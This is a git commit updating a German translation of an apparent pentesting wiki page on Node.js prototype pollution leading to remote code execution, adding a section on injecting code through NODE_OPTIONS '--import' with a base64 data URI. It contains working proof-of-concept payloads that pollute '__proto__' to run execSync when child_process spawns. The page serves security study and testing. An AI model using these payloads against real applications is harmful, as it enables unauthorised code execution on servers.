Translated ['src/pentesting-web/deserialization/nodejs-proto-prototype-p

This commit is contained in:
Translator 2025-08-04 14:17:38 +00:00
parent 513115c15d
commit 9870d19a5f

View File

@ -61,13 +61,13 @@ ArrayPrototypePush(envPairs, `${key}=${value}`); // <-- Pollution
}
}
```
Überprüfen Sie den Code, Sie können sehen, dass es möglich ist, **`envPairs`** einfach durch **Verschmutzung** des **Attributs `.env`** zu **vergiften**.
Überprüfen Sie den Code, Sie können sehen, dass es möglich ist, **`envPairs`** einfach durch **Verschmutzung** des **Attributs `.env`** zu vergiften.
### **Vergiftung von `__proto__`**
> [!WARNING]
> Beachten Sie, dass aufgrund der Funktionsweise der **`normalizeSpawnArguments`**-Funktion aus der **`child_process`**-Bibliothek von Node, wenn etwas aufgerufen wird, um eine **neue Umgebungsvariable** für den Prozess festzulegen, Sie einfach **alles verschmutzen** müssen.\
> Wenn Sie beispielsweise `__proto__.avar="valuevar"` tun, wird der Prozess mit einer Variablen namens `avar` mit dem Wert `valuevar` gestartet.
> Wenn Sie beispielsweise `__proto__.avar="valuevar"` machen, wird der Prozess mit einer Variablen namens `avar` mit dem Wert `valuevar` gestartet.
>
> Damit die **Umgebungsvariable die erste ist**, müssen Sie das **`.env`-Attribut** **verschmutzen** und (nur in einigen Methoden) wird diese Variable die **erste** sein (was den Angriff ermöglicht).
>
@ -96,7 +96,7 @@ clone(USERINPUT)
var proc = fork("a_file.js")
// This should create the file /tmp/pp2rec
```
### Vergiften von `constructor.prototype`
### Vergiftung von `constructor.prototype`
```javascript
const { execSync, fork } = require("child_process")
@ -149,9 +149,50 @@ clone(USERINPUT)
var proc = fork("a_file.js")
// This should create the file /tmp/pp2rec
```
## Filesystem-less PP2RCE via `--import` (Node ≥ 19)
> [!NOTE]
> Seit **Node.js 19** kann das CLI-Flag `--import` über `NODE_OPTIONS` auf die gleiche Weise übergeben werden wie `--require`. Im Gegensatz zu `--require` versteht `--import` **data-URIs**, sodass der Angreifer **keinen Schreibzugriff auf das Dateisystem** benötigt. Dies macht das Gadget in gesperrten oder schreibgeschützten Umgebungen viel zuverlässiger.
>
> Diese Technik wurde erstmals im Mai 2023 von PortSwigger-Forschern öffentlich dokumentiert und seitdem in mehreren CTF-Herausforderungen reproduziert.
Der Angriff ist konzeptionell identisch zu den oben gezeigten `--require /proc/self/*` Tricks, aber anstatt auf eine Datei zu verweisen, betten wir die Payload direkt in eine base64-kodierte `data:` URL ein:
```javascript
const { fork } = require("child_process")
// Manual pollution
b = {}
// Javascript that is executed once Node parses the import URL
const js = "require('child_process').execSync('touch /tmp/pp2rce_import')";
const payload = `data:text/javascript;base64,${Buffer.from(js).toString('base64')}`;
b.__proto__.NODE_OPTIONS = `--import ${payload}`;
// any key that will force spawn (fork) same as earlier examples
fork("./a_file.js");
```
Missbrauch des anfälligen Merge/Clone-Sinks, der oben auf der Seite angezeigt wird:
```javascript
USERINPUT = JSON.parse('{"__proto__":{"NODE_OPTIONS":"--import data:text/javascript;base64,cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWNTeW5jKCd0b3VjaCBcL3RtcFwvcHAycmNlX2ltcG9ydCcp"}}');
clone(USERINPUT);
// Gadget trigger
fork("./a_file.js");
// → creates /tmp/pp2rce_import
```
### Warum `--import` hilft
1. **Keine Interaktion mit der Festplatte** die Payload reist vollständig innerhalb der Prozessbefehlszeile und der Umgebung.
2. **Funktioniert mit ESM-Only-Umgebungen** `--import` ist der kanonische Weg, um JavaScript in modernen Node-Versionen vorzuladen, die standardmäßig auf ECMAScript-Module eingestellt sind.
3. **Umgeht einige `--require`-Erlauben-Listen** einige Härtungsbibliotheken filtern nur `--require` und lassen `--import` unberührt.
> [!WARNING]
> Die Unterstützung von `--import` in `NODE_OPTIONS` ist weiterhin in der neuesten **Node 22.2.0** (Juni 2025) vorhanden. Das Node-Kernteam diskutiert, ob Daten-URIs in Zukunft eingeschränkt werden sollen, aber zum Zeitpunkt des Schreibens ist keine Minderung verfügbar.
---
## DNS-Interaktion
Mit den folgenden Payloads ist es möglich, die zuvor besprochene NODE_OPTIONS-Umgebungsvariable auszunutzen und zu überprüfen, ob es mit einer DNS-Interaktion funktioniert hat:
Mit den folgenden Payloads ist es möglich, die zuvor besprochene NODE_OPTIONS-Umgebungsvariable auszunutzen und zu erkennen, ob es mit einer DNS-Interaktion funktioniert hat:
```json
{
"__proto__": {
@ -227,10 +268,10 @@ var proc = execFile("/usr/bin/node")
// Windows - not working
```
Für **`execFile`** zu funktionieren, **MUSS** es node ausführen, damit die NODE_OPTIONS funktionieren.\
Wenn es **nicht** node ausführt, müssen Sie herausfinden, wie Sie die **Ausführung** von dem, was es ausführt, **mit Umgebungsvariablen** ändern und diese setzen können.
Für **`execFile`** zu funktionieren, **MUSS** es **node** ausführen, damit die NODE_OPTIONS funktionieren.\
Wenn es **nicht** **node** ausführt, müssen Sie herausfinden, wie Sie die **Ausführung** von dem, was es ausführt, **mit Umgebungsvariablen** ändern und diese setzen können.
Die **anderen** Techniken **funktionieren** ohne diese Anforderung, da es **möglich ist,** **was ausgeführt wird** über Prototype Pollution zu modifizieren. (In diesem Fall, selbst wenn Sie `.shell` verschmutzen können, werden Sie nicht das verschmutzen, was ausgeführt wird).
Die **anderen** Techniken **funktionieren** ohne diese Anforderung, da es **möglich ist,** **was ausgeführt wird** über Prototype-Pollution zu modifizieren. (In diesem Fall, selbst wenn Sie `.shell` verschmutzen können, werden Sie nicht das verschmutzen, was ausgeführt wird).
</details>
@ -465,7 +506,7 @@ var proc = spawnSync("something")
In den vorherigen Beispielen haben Sie gesehen, wie man das Gadget auslöst; eine Funktionalität, die **`spawn`** **aufruft**, muss **vorhanden** sein (alle Methoden von **`child_process`**, die etwas ausführen, rufen es auf). Im vorherigen Beispiel war das **Teil des Codes**, aber was ist, wenn der Code **es nicht** aufruft?
### Kontrolle über einen require-Dateipfad
### Kontrolle eines require-Dateipfads
In diesem [**anderen Bericht**](https://blog.sonarsource.com/blitzjs-prototype-pollution/) kann der Benutzer den Dateipfad steuern, an dem ein **`require`** ausgeführt wird. In diesem Szenario muss der Angreifer nur **eine `.js`-Datei im System finden**, die **eine Spawn-Methode beim Import ausführt.**\
Einige Beispiele für gängige Dateien, die eine Spawn-Funktion beim Import aufrufen, sind:
@ -483,7 +524,7 @@ done
```
<details>
<summary>Interessante Dateien, die vom vorherigen Skript gefunden wurden</summary>
<summary>Interessante Dateien, die durch das vorherige Skript gefunden wurden</summary>
- node_modules/buffer/bin/**download-node-tests.js**:17:`cp.execSync('rm -rf node/*.js', { cwd: path.join(__dirname, '../test') })`
- node_modules/buffer/bin/**test.js**:10:`var node = cp.spawn('npm', ['run', 'test-node'], { stdio: 'inherit' })`
@ -502,18 +543,18 @@ done
> [!WARNING]
> Die **vorherige Technik erfordert**, dass der **Benutzer den Pfad der Datei** kontrolliert, die **benötigt** werden soll. Aber das ist nicht immer der Fall.
Wenn der Code jedoch ein Require nach der Prototyp-Verschmutzung ausführt, selbst wenn Sie **den Pfad**, der benötigt werden soll, **nicht kontrollieren**, können Sie **einen anderen erzwingen, indem Sie die Prototyp-Verschmutzung ausnutzen**. Selbst wenn die Codezeile wie `require("./a_file.js")` oder `require("bytes")` aussieht, wird es **das Paket erfordern, das Sie verschmutzt haben**.
Wenn der Code jedoch ein Require nach der Prototyp-Verschmutzung ausführt, selbst wenn Sie **den Pfad, der benötigt werden soll, nicht kontrollieren**, können Sie **einen anderen erzwingen, indem Sie die Prototyp-Verschmutzung ausnutzen**. Selbst wenn die Codezeile wie `require("./a_file.js")` oder `require("bytes")` aussieht, wird es **das Paket erfordern, das Sie verschmutzt haben**.
Daher, wenn ein Require nach Ihrer Prototyp-Verschmutzung ausgeführt wird und keine Spawn-Funktion, ist dies der Angriff:
- Finden Sie eine **`.js`-Datei im System**, die beim **Require** **etwas mit `child_process` ausführt**
- Wenn Sie Dateien auf die Plattform hochladen können, die Sie angreifen, könnten Sie eine solche Datei hochladen
- Verschmutzen Sie die Pfade, um das **Require-Laden der `.js`-Datei** zu erzwingen, die etwas mit child_process ausführen wird
- **Verschmutzen Sie die environ/cmdline**, um beliebigen Code auszuführen, wenn eine Funktion zur Ausführung von child_process aufgerufen wird (siehe die ursprünglichen Techniken)
- Verschmutzen Sie die Pfade, um **das Require zu zwingen, die `.js`-Datei zu laden**, die etwas mit child_process ausführt
- **Verschmutzen Sie die environ/cmdline**, um willkürlichen Code auszuführen, wenn eine Funktion zur Ausführung von child_process aufgerufen wird (siehe die anfänglichen Techniken)
#### Absolutes Require
Wenn das durchgeführte Require **absolut** ist (`require("bytes")`) und das **Paket kein main** im `package.json`-Datei enthält, können Sie das **`main`-Attribut verschmutzen** und das **Require dazu bringen, eine andere Datei auszuführen**.
Wenn das durchgeführte Require **absolut** ist (`require("bytes")`) und das **Paket kein main** im `package.json`-Datei enthält, können Sie **das `main`-Attribut verschmutzen** und das **Require dazu bringen, eine andere Datei auszuführen**.
{{#tabs}}
{{#tab name="exploit"}}
@ -665,23 +706,29 @@ Allerdings wurde, wie bei den vorherigen **`child_process`**-Methoden, dies in d
## Fixes & Unerwartete Schutzmaßnahmen
Bitte beachten Sie, dass die Prototyp-Verschmutzung funktioniert, wenn das **Attribut** eines Objekts, auf das zugegriffen wird, **undefiniert** ist. Wenn im **Code** dieses **Attribut** auf einen **Wert** **gesetzt** wird, **können Sie es nicht überschreiben**.
Bitte beachten Sie, dass die Prototype-Pollution funktioniert, wenn das **Attribut** eines Objekts, auf das zugegriffen wird, **undefiniert** ist. Wenn im **Code** dieses **Attribut** auf einen **Wert** **gesetzt** wird, **können Sie es nicht überschreiben**.
Im Juni 2022 wurde durch [**diesen Commit**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a) die Variable `options` anstelle eines `{}` zu einem **`kEmptyObject`**. Dies **verhindert eine Prototyp-Verschmutzung**, die die **Attribute** von **`options`** beeinflusst, um RCE zu erhalten.\
Im Juni 2022 wurde in [**diesem Commit**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a) die Variable `options` anstelle eines `{}` zu einem **`kEmptyObject`**. Dies **verhindert eine Prototype-Pollution**, die die **Attribute** von **`options`** beeinflusst, um RCE zu erhalten.\
Mindestens ab v18.4.0 wurde dieser Schutz **implementiert**, und daher funktionieren die `spawn`- und `spawnSync`-**Exploits**, die die Methoden betreffen, **nicht mehr** (wenn keine `options` verwendet werden!).
In [**diesem Commit**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9) wurde die **Prototyp-Verschmutzung** von **`contextExtensions`** aus der vm-Bibliothek **auch irgendwie behoben**, indem die Optionen auf **`kEmptyObject`** anstelle von **`{}`** gesetzt wurden.
In [**diesem Commit**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9) wurde die **Prototype-Pollution** von **`contextExtensions`** aus der vm-Bibliothek **auch irgendwie behoben**, indem die Optionen auf **`kEmptyObject`** anstelle von **`{}`** gesetzt wurden.
> [!INFO]
> **Node 20 (April 2023) & Node 22 (April 2025)** haben weitere Härtungen eingeführt: mehrere `child_process`-Hilfsfunktionen kopieren jetzt die vom Benutzer bereitgestellten `options` mit **`CopyOptions()`** anstelle sie per Referenz zu verwenden. Dies blockiert die Pollution von verschachtelten Objekten wie `stdio`, schützt jedoch **nicht vor den oben beschriebenen `NODE_OPTIONS` / `--import`-Tricks** diese Flags werden weiterhin über Umgebungsvariablen akzeptiert.
> Ein vollständiger Fix müsste einschränken, welche CLI-Flags vom übergeordneten Prozess propagiert werden können, was in Node Issue #50559 verfolgt wird.
### **Andere Gadgets**
- [https://github.com/yuske/server-side-prototype-pollution](https://github.com/yuske/server-side-prototype-pollution)
- [https://github.com/KTH-LangSec/server-side-prototype-pollution](https://github.com/KTH-LangSec/server-side-prototype-pollution)
## Referenzen
## References
- [https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/)
- [https://blog.sonarsource.com/blitzjs-prototype-pollution/](https://blog.sonarsource.com/blitzjs-prototype-pollution/)
- [https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf)
- [https://portswigger.net/research/prototype-pollution-node-no-filesystem](https://portswigger.net/research/prototype-pollution-node-no-filesystem)
- [https://www.nodejs-security.com/blog/2024/prototype-pollution-regression](https://www.nodejs-security.com/blog/2024/prototype-pollution-regression)
- [https://portswigger.net/research/server-side-prototype-pollution](https://portswigger.net/research/server-side-prototype-pollution)
{{#include ../../../banners/hacktricks-training.md}}